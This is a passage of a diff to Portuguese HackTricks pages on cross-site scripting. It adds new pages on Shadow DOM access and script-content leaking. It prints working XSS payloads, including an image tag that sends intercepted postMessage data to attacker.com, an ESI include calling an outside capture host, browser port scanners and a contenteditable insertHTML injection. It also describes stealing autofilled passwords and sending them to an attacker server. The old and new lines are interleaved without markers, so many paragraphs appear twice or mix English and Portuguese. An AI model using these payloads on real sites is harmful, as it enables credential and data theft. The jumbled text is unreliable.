2. **Stored XSS**: O payload malicioso é armazenado no servidor e é exibido para todos os usuários que acessam a página afetada.
3. **DOM-based XSS**: O payload malicioso é injetado no DOM (Modelo de Objeto de Documento) e é executado no lado do cliente.
## Como explorar o XSS
Para explorar uma vulnerabilidade de XSS, o atacante precisa identificar um ponto de entrada onde os dados fornecidos pelo usuário são refletidos ou armazenados sem a devida sanitização. Em seguida, o atacante pode injetar um script malicioso que será executado quando a página for visualizada por outros usuários.
Para explorar uma vulnerabilidade de XSS, um atacante precisa identificar um ponto de entrada onde o código injetado não é devidamente sanitizado ou escapado. Alguns exemplos comuns de pontos de entrada incluem campos de formulário, URLs, cabeçalhos HTTP e cookies.
Existem várias técnicas para explorar o XSS, incluindo:
- Injeção de código JavaScript em campos de entrada, como formulários de login ou caixas de comentários.
- Injeção de código HTML em campos de entrada que são exibidos em outras páginas.
- Exploração de vulnerabilidades em bibliotecas JavaScript usadas pela aplicação.
Uma vez identificado o ponto de entrada, o atacante pode inserir um payload malicioso contendo código JavaScript. Esse código será executado no contexto do usuário que visualiza a página, permitindo que o atacante execute ações indesejadas.
## Prevenção do XSS
Para prevenir o XSS, é importante implementar as seguintes práticas de segurança:
Para prevenir ataques de XSS, é importante implementar práticas de segurança adequadas, como:
- Sanitizar e validar todos os dados fornecidos pelo usuário antes de exibi-los ou armazená-los.
- Utilizar mecanismos de escape adequados para evitar a interpretação incorreta de caracteres especiais.
- Implementar uma política de segurança de conteúdo (Content Security Policy) para restringir a execução de scripts não confiáveis.
- Manter todas as bibliotecas e frameworks atualizados para evitar vulnerabilidades conhecidas.
- **Sanitização de entrada**: Certifique-se de que todos os dados de entrada sejam devidamente sanitizados e escapados antes de serem exibidos em páginas web.
- **Validação de entrada**: Verifique se os dados de entrada atendem aos critérios esperados antes de processá-los.
- **Utilização de cabeçalhos de segurança**: Configure cabeçalhos HTTP, como o Content-Security-Policy, para restringir o carregamento de scripts de fontes não confiáveis.
- **Codificação correta**: Use funções de codificação adequadas ao exibir dados em páginas web, como htmlspecialchars() em PHP ou encodeURI() em JavaScript.
## Exemplo de Payload de XSS
O seguinte exemplo demonstra um payload de XSS básico:
```html
<script>
alert('Este é um ataque de XSS!');
// Mais código malicioso aqui...
</script>
```
Este código injeta um script malicioso na página, exibindo um alerta com a mensagem "Este é um ataque de XSS!". O atacante pode modificar esse payload para realizar ações mais prejudiciais, como roubar informações confidenciais ou redirecionar o usuário para um site malicioso.
## Conclusão
O XSS é uma vulnerabilidade séria que pode comprometer a segurança de aplicações web e expor os usuários a riscos. É fundamental que os desenvolvedores implementem práticas de segurança adequadas para prevenir e mitigar essa vulnerabilidade. Além disso, os usuários devem estar cientes dos riscos e tomar precauções ao acessar sites desconhecidos ou suspeitos.
O XSS é uma vulnerabilidade séria que pode ter consequências graves para a segurança de uma aplicação web e seus usuários. É essencial implementar práticas de segurança adequadas para prevenir ataques de XSS e proteger os dados sensíveis dos usuários.
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
@ -1320,35 +1324,32 @@ xhr.send(null);
```
### Encontrar IPs internos
Durante um teste de penetração, pode ser útil identificar os endereços IP internos de uma rede. Isso pode ajudar a mapear a infraestrutura e identificar possíveis alvos para ataques.
Durante um teste de penetração, é importante identificar os endereços IP internos de um sistema. Essas informações podem ser úteis para explorar vulnerabilidades específicas ou realizar ataques direcionados.
Existem várias maneiras de encontrar os IPs internos de uma rede. Aqui estão algumas técnicas comuns:
Existem várias maneiras de encontrar os IPs internos de um sistema:
1. **ARP Scanning**: O ARP (Address Resolution Protocol) é usado para mapear endereços IP para endereços MAC em uma rede local. Ao realizar uma varredura ARP, você pode obter uma lista dos IPs internos e seus respectivos endereços MAC.
1. **Ping Sweep**: Use uma ferramenta como o `nmap` para realizar um ping sweep na rede. Isso envia pacotes ICMP para uma faixa de endereços IP e identifica quais estão ativos. Os IPs que respondem ao ping são os IPs internos.
```bash
$ arp -a
Exemplo de comando:
```
nmap -sn 192.168.0.0/24
```
2. **DNS Zone Transfer**: Se o servidor DNS estiver mal configurado, é possível realizar uma transferência de zona para obter uma lista de todos os registros DNS, incluindo os IPs internos.
2. **ARP Scanning**: Use uma ferramenta como o `arp-scan` para enviar solicitações ARP para a rede e obter uma lista de IPs e endereços MAC correspondentes. Os IPs que possuem endereços MAC associados são os IPs internos.
```bash
$ dig axfr @<DNS_SERVER> <DOMAIN>
Exemplo de comando:
```
arp-scan --localnet
```
3. **Ping Sweep**: O ping sweep envolve o envio de pacotes ICMP Echo Request para uma faixa de endereços IP e verificar quais IPs estão respondendo. Isso pode revelar os IPs internos ativos na rede.
3. **DNS Lookup**: Realize uma pesquisa de DNS reverso para obter os nomes de host associados aos endereços IP. Os nomes de host que correspondem a IPs internos geralmente têm um padrão específico, como terminar com `.local` ou `.internal`.
```bash
$ nmap -sn <IP_RANGE>
Exemplo de comando:
```
nslookup 192.168.0.1
```
4. **Banner Grabbing**: Ao se conectar a um serviço em um IP específico, é possível obter informações do banner que pode conter o endereço IP interno.
```bash
$ telnet <IP> <PORT>
```
Lembre-se de que a obtenção de IPs internos sem permissão é considerada uma atividade ilegal. Sempre obtenha autorização por escrito antes de realizar qualquer teste de penetração.
É importante lembrar que a obtenção de IPs internos deve ser feita com permissão e apenas em sistemas que você está autorizado a testar. O uso indevido dessas informações pode ser considerado ilegal e antiético.
```html
<script>
var q = []
@ -1418,7 +1419,7 @@ const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors"
```
### Scanner de Portas (websockets)
This tool is a simple port scanner that uses websockets to establish a connection with the target host and check for open ports. It can be used during a penetration test to identify potential entry points into a system.
This tool is a simple port scanner that uses websockets to establish a connection with the target host and check for open ports. It can be used during a penetration test to identify potential entry points in a target system.
#### Usage
@ -1430,33 +1431,26 @@ To use the port scanner, follow these steps:
npm install
```
2. Modify the `config.js` file to specify the target host and the range of ports to scan. For example:
```javascript
module.exports = {
target: 'example.com',
startPort: 1,
endPort: 1000
};
```
3. Run the scanner by executing the following command:
2. Start the scanner by running the following command:
```
node scanner.js
```
The scanner will start scanning the specified range of ports on the target host. It will display the open ports as they are discovered.
3. Enter the target host's IP address or domain name when prompted.
4. The scanner will then attempt to connect to the target host and scan for open ports.
5. Once the scan is complete, the scanner will display a list of open ports found on the target host.
#### Limitations
- This port scanner only supports websockets as the communication protocol.
- It may not be able to detect open ports if the target host has implemented measures to block port scanning activities.
- The accuracy of the results may vary depending on the network conditions and the target host's configuration.
- This port scanner only supports websockets and cannot scan for other types of ports.
- The scanner may not be able to detect open ports if the target host has implemented security measures to block port scanning activities.
#### Disclaimer
This tool is intended for educational and penetration testing purposes only. The misuse of this tool or any unauthorized access to systems is strictly prohibited. The author is not responsible for any illegal activities performed using this tool.
This tool is intended for educational and penetration testing purposes only. The misuse of this tool to gain unauthorized access to systems is strictly prohibited. The author is not responsible for any illegal activities performed using this tool.
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1481,25 +1475,20 @@ Revise a lista de portas bloqueadas no Chrome [**aqui**](https://src.chromium.or
```
### Captura de preenchimento automático de senhas
Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications.
O preenchimento automático de senhas é uma funcionalidade comum em navegadores da web que permite aos usuários armazenar e preencher automaticamente suas credenciais de login em sites. No entanto, essa funcionalidade também pode ser explorada por um atacante para capturar informações confidenciais, como senhas.
A captura de preenchimento automático de senhas é uma técnica utilizada para explorar vulnerabilidades de cross-site scripting (XSS) em aplicações web.
Um ataque de captura de preenchimento automático de senhas geralmente envolve a criação de um formulário falso em um site malicioso. Esse formulário é projetado para se assemelhar a um formulário de login legítimo e solicita que os usuários insiram suas credenciais de login.
When a user visits a vulnerable website, the attacker injects malicious code that captures the user's saved passwords from the browser's auto-fill feature. This can be achieved by injecting JavaScript code that listens for changes in the input fields and sends the captured data to a remote server controlled by the attacker.
Quando um usuário desavisado preenche o formulário falso, o navegador preenche automaticamente as informações de login armazenadas, incluindo a senha. O atacante pode então capturar essas informações usando técnicas como JavaScript malicioso ou redirecionamento de solicitações.
Quando um usuário visita um site vulnerável, o atacante injeta um código malicioso que captura as senhas salvas do usuário a partir do recurso de preenchimento automático do navegador. Isso pode ser alcançado através da injeção de código JavaScript que monitora as alterações nos campos de entrada e envia os dados capturados para um servidor remoto controlado pelo atacante.
Para se proteger contra ataques de captura de preenchimento automático de senhas, é importante seguir as melhores práticas de segurança, como:
To perform this attack, the attacker needs to identify a vulnerable input field where the auto-fill feature is enabled. This can be a login form, registration form, or any other form that requires user input. The attacker then crafts a payload that exploits the XSS vulnerability and injects it into the vulnerable input field.
- Não salvar senhas em navegadores ou usar o preenchimento automático de senhas.
- Verificar cuidadosamente a URL do site antes de inserir suas credenciais de login.
- Manter o navegador e os plugins atualizados para corrigir quaisquer vulnerabilidades conhecidas.
- Usar autenticação de dois fatores sempre que possível para adicionar uma camada extra de segurança.
Para realizar esse ataque, o atacante precisa identificar um campo de entrada vulnerável onde o recurso de preenchimento automático esteja habilitado. Isso pode ser um formulário de login, formulário de registro ou qualquer outro formulário que exija entrada do usuário. O atacante então cria um payload que explora a vulnerabilidade XSS e o injeta no campo de entrada vulnerável.
When the victim interacts with the injected input field, the malicious payload executes, capturing the saved passwords and sending them to the attacker's server. The attacker can then use these captured passwords for unauthorized access to the victim's accounts.
Quando a vítima interage com o campo de entrada injetado, o payload malicioso é executado, capturando as senhas salvas e enviando-as para o servidor do atacante. O atacante pode então usar essas senhas capturadas para acessar as contas da vítima sem autorização.
To protect against auto-fill passwords capture attacks, web developers should implement proper input validation and output encoding to prevent XSS vulnerabilities. Users should also be cautious when entering sensitive information on websites and consider using password managers instead of relying on the browser's auto-fill feature.
Para se proteger contra ataques de captura de preenchimento automático de senhas, os desenvolvedores web devem implementar validação adequada de entrada e codificação de saída para evitar vulnerabilidades de XSS. Os usuários também devem ter cuidado ao inserir informações sensíveis em sites e considerar o uso de gerenciadores de senhas em vez de depender do recurso de preenchimento automático do navegador.
Ao estar ciente dessas ameaças e adotar medidas de segurança adequadas, você pode reduzir o risco de ter suas senhas capturadas por meio de ataques de preenchimento automático.
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1559,7 +1548,7 @@ Para evitar o roubo de mensagens PostMessage, é importante implementar prática
#### Conclusão
O roubo de mensagens PostMessage é uma técnica de ataque que explora vulnerabilidades de XSS para interceptar e roubar mensagens enviadas por meio do método PostMessage. É essencial que os desenvolvedores implementem práticas de segurança adequadas para proteger seus aplicativos e usuários contra esse tipo de ataque.
O roubo de mensagens PostMessage é uma técnica de ataque perigosa que pode ser explorada por meio de vulnerabilidades de XSS. É essencial que os desenvolvedores e administradores de sistemas estejam cientes dessa ameaça e tomem as medidas adequadas para proteger seus aplicativos e usuários contra esse tipo de ataque.
```markup
<img src="https://attacker.com/?" id=message>
<script>
@ -1573,6 +1562,12 @@ document.getElementById("message").src += "&"+e.data;
[abusing-service-workers.md](abusing-service-workers.md)
{% endcontent-ref %}
### Acessando Shadow DOM
{% content-ref url="shadow-dom.md" %}
[shadow-dom.md](shadow-dom.md)
{% endcontent-ref %}
### Poliglotas
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
@ -1640,7 +1635,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
## Explorando outras vulnerabilidades com XSS
## XSS Aproveitando outras vulnerabilidades
### XSS em Markdown
@ -1652,7 +1647,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### XSS para SSRF
Conseguiu XSS em um **site que utiliza cache**? Tente **atualizar isso para SSRF** através da Injeção de Include do Lado do Servidor (Edge Side Include Injection) com este payload:
Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Include do Lado do Edge com essa carga útil:
```python
<esi:include src="http://yoursite.com/capture" />
```

View file

@ -0,0 +1,79 @@
# Shadow DOM
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informações Básicas
Shadow DOM faz parte do conjunto de recursos [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web\_Components), que tem como objetivo permitir que desenvolvedores JS criem elementos personalizados reutilizáveis com sua funcionalidade encapsulada longe do restante do código do site.
Essencialmente, você pode usar o Shadow DOM para **isolar o HTML e o CSS do seu componente do restante da página da web**. Por exemplo, se você criar IDs de elementos em um shadow DOM, eles **não entrarão em conflito com IDs de elementos no DOM pai**. Quaisquer seletores CSS que você utilizar no seu shadow DOM serão aplicados apenas dentro do shadow DOM e não ao DOM pai, e quaisquer seletores que você utilizar no pai não penetrarão no shadow DOM.
```js
// creating a shadow DOM
let $element = document.createElement("div");
$shadowDomRef = $element.attachShadow({ mode: "open" }); // open or closed
```
Normalmente, quando você anexa um **shadow DOM "aberto" a um elemento**, você pode obter uma referência ao shadow DOM com **`$element.shadowRoot`**. No entanto, se o shadow DOM estiver anexado em modo **"fechado"**, você **não pode obter uma referência** dessa maneira. Mesmo depois de ler toda a documentação do desenvolvedor que pude encontrar, ainda estou um pouco confuso sobre o propósito do modo fechado. [De acordo com o Google](https://developers.google.com/web/fundamentals/web-components/shadowdom):
> Existe outra variação do shadow DOM chamada modo "fechado". Quando você cria uma árvore de sombra fechada, o JavaScript externo não poderá acessar o DOM interno do seu componente. Isso é semelhante ao funcionamento de elementos nativos como `<video>`. O JavaScript não pode acessar o shadow DOM de `<video>` porque o navegador o implementa usando uma raiz de sombra em modo fechado.
No entanto, eles também afirmam:
> As raízes de sombra fechadas não são muito úteis. Alguns desenvolvedores veem o modo fechado como um recurso de segurança **artificial**. Mas vamos ser claros, isso **não** é um recurso de segurança.
## Acessando o Shadow DOM
### window.find() e seleções de texto <a href="#introducing-windowfind-and-text-selections" id="introducing-windowfind-and-text-selections"></a>
A função **`window.find("texto_de_pesquisa")` penetra dentro de um shadow DOM**. Essa função tem efetivamente a mesma funcionalidade que ctrl-F em uma página da web.
É possível chamar **`document.execCommand("SelectAll")`** para expandir a seleção o **máximo possível** e, em seguida, chamar **`window.getSelection()`** para **retornar o conteúdo** do texto selecionado dentro do shadow DOM.
No **firefox**, você pode usar `getSelection()`, que retorna um objeto [Selection](https://developer.mozilla.org/en-US/docs/Web/API/Selection), onde `anchorElement` é uma **referência a um elemento no shadow DOM**. Portanto, podemos exfiltrar o conteúdo do shadow DOM da seguinte maneira:
```js
getSelection().anchorNode.parentNode.parentNode.parentNode.innerHTML
```
Mas isso não funciona no Chromium.
### contenteditable ou injeção de CSS <a href="#contenteditable-or-css-injection" id="contenteditable-or-css-injection"></a>
Uma maneira pela qual podemos interagir com o shadow DOM é se tivermos uma **injeção de HTML ou JS dentro dele**. Existem algumas situações interessantes em que você pode obter uma injeção dentro de um shadow DOM onde não seria possível em uma página normal com crossorigin.
Um exemplo disso é se você tiver quaisquer **elementos com o atributo `contenteditable`**. Este é um atributo HTML obsoleto e pouco utilizado que declara que o **conteúdo desse elemento pode ser editado pelo usuário**. Podemos usar seleções juntamente com a API **`document.execCommand`** para interagir com um elemento contenteditable e obter uma injeção de HTML!
```js
find('selection within contenteditable');
document.execCommand('insertHTML',false,'<svg/onload=console.log(this.parentElement.outerHTML)>')
```
Talvez ainda mais interessante, **`contenteditable`** pode ser declarado em qualquer elemento no chromium aplicando uma propriedade CSS obsoleta: `-webkit-user-modify:read-write`
Isso nos permite **elevar uma injeção de CSS/style para uma injeção de HTML**, adicionando a propriedade CSS a um elemento e, em seguida, utilizando o comando `insertHTML`.
## CTF
Verifique este writeup onde essa técnica foi usada como um desafio CTF: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)
## Referências
* [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,33 @@
# Vazamento de Script
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Vazamento de conteúdo de script convertendo-o para UTF16
[**Este artigo**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) vaza um texto simples porque não há cabeçalho `X-Content-Type-Options: nosniff` adicionando alguns caracteres iniciais que farão o javascript pensar que o conteúdo está em UTF-16 para que o script não quebre.
## Vazamento de conteúdo de script tratando-o como um ICO
[**O próximo artigo**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) vaza o conteúdo do script carregando-o como se fosse uma imagem ICO acessando o parâmetro `width`.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>